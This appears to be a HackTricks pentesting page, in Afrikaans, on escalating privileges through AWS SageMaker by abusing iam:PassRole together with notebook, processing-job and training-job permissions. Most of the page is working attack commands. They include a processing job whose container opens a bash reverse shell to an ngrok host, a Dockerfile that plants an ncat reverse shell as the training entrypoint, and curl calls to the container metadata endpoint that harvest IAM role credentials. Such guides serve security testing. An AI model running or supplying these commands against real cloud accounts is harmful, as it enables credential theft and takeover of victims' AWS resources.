# AWS - Sagemaker Privesc ## AWS - Sagemaker Privesc {{#include ../../../banners/hacktricks-training.md}} ### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` Begin om 'n notaboek te skep met die IAM Rol wat daaraan gekoppel is: ```bash aws sagemaker create-notebook-instance --notebook-instance-name example \ --instance-type ml.t2.medium \ --role-arn arn:aws:iam:::role/service-role/ ``` Die antwoord moet 'n `NotebookInstanceArn` veld bevat, wat die ARN van die nuut geskepte notaboekinstansie sal bevat. Ons kan dan die `create-presigned-notebook-instance-url` API gebruik om 'n URL te genereer wat ons kan gebruik om toegang tot die notaboekinstansie te verkry sodra dit gereed is: ```bash aws sagemaker create-presigned-notebook-instance-url \ --notebook-instance-name ``` Navigeer na die URL met die blaaier en klik op \`Open JupyterLab\` in die boonste regterkant, scroll dan af na die “Launcher” tab en onder die “Other” afdeling, klik die “Terminal” knoppie. Nou is dit moontlik om toegang te verkry tot die metadata geloofsbriewe van die IAM Rol. **Potensiële Impak:** Privesc na die sagemaker diensrol wat gespesifiseer is. ### `sagemaker:CreatePresignedNotebookInstanceUrl` As daar Jupyter **notebooks reeds aan die gang is** en jy kan hulle lys met `sagemaker:ListNotebookInstances` (of hulle op enige ander manier ontdek). Jy kan **'n URL vir hulle genereer, toegang tot hulle verkry, en die geloofsbriewe steel soos aangedui in die vorige tegniek**. ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` **Potensiële Impak:** Privesc na die sagemaker diensrol wat aangeheg is. ### `sagemaker:CreateProcessingJob,iam:PassRole` 'n Aanvaller met daardie toestemmings kan **sagemaker 'n verwerkingswerk** laat uitvoer met 'n sagemaker rol wat daaraan geheg is. Die aanvaller kan die definisie van die houer aandui wat in 'n **AWS bestuurde ECS rekening instansie** uitgevoer sal word, en **die geloofsbriewe van die aangehegte IAM rol steel**. ```bash # I uploaded a python docker image to the ECR aws sagemaker create-processing-job \ --processing-job-name privescjob \ --processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ --app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ --role-arn # In my tests it took 10min to receive the shell curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds ``` **Potensiële Impak:** Privesc na die sagemaker diensrol wat gespesifiseer is. ### `sagemaker:CreateTrainingJob`, `iam:PassRole` 'n Aanvaller met daardie toestemmings sal in staat wees om 'n opleidingswerk te skep, **wat 'n arbitrêre houer** daarop laat loop met 'n **rol wat daaraan geheg is**. Daarom sal die aanvaller in staat wees om die akrediteer van die rol te steel. > [!WARNING] > Hierdie scenario is moeiliker om te benut as die vorige een omdat jy 'n Docker-beeld moet genereer wat die rev shell of krediete direk na die aanvaller sal stuur (jy kan nie 'n beginopdrag in die konfigurasie van die opleidingswerk aandui nie). > > ```bash > # Skep docker beeld > mkdir /tmp/rev > ## Let daarop dat die opleidingswerk 'n uitvoerbare genaamd "train" gaan aanroep > ## Dit is waarom ek die rev shell in /bin/train plaas > ## Stel die waardes van en > cat > /tmp/rev/Dockerfile < FROM ubuntu > RUN apt update && apt install -y ncat curl > RUN printf '#!/bin/bash\nncat -e /bin/sh' > /bin/train > RUN chmod +x /bin/train > CMD ncat -e /bin/sh > EOF > > cd /tmp/rev > sudo docker build . -t reverseshell > > # Laai dit op na ECR > sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/ > sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest > sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest > ``` ```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ --training-job-name privescjob \ --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ --role-arn \ --output-data-config '{"S3OutputPath": "s3://"}' \ --stopping-condition '{"MaxRuntimeInSeconds": 600}' #To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer ``` **Potensiële Impak:** Privesc na die sagemaker diensrol gespesifiseer. ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` 'n Aanvaller met daardie toestemmings sal (potensieel) in staat wees om 'n **hyperparameter opleidingswerk** te skep, **'n arbitrêre houer** daarop te laat loop met 'n **rol aangeheg** daaraan.\ _Ek het nie uitgebuit nie weens die gebrek aan tyd, maar dit lyk soortgelyk aan die vorige uitbuitings, voel vry om 'n PR met die uitbuitingsbesonderhede te stuur._ ## Verwysings - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) {{#include ../../../banners/hacktricks-training.md}}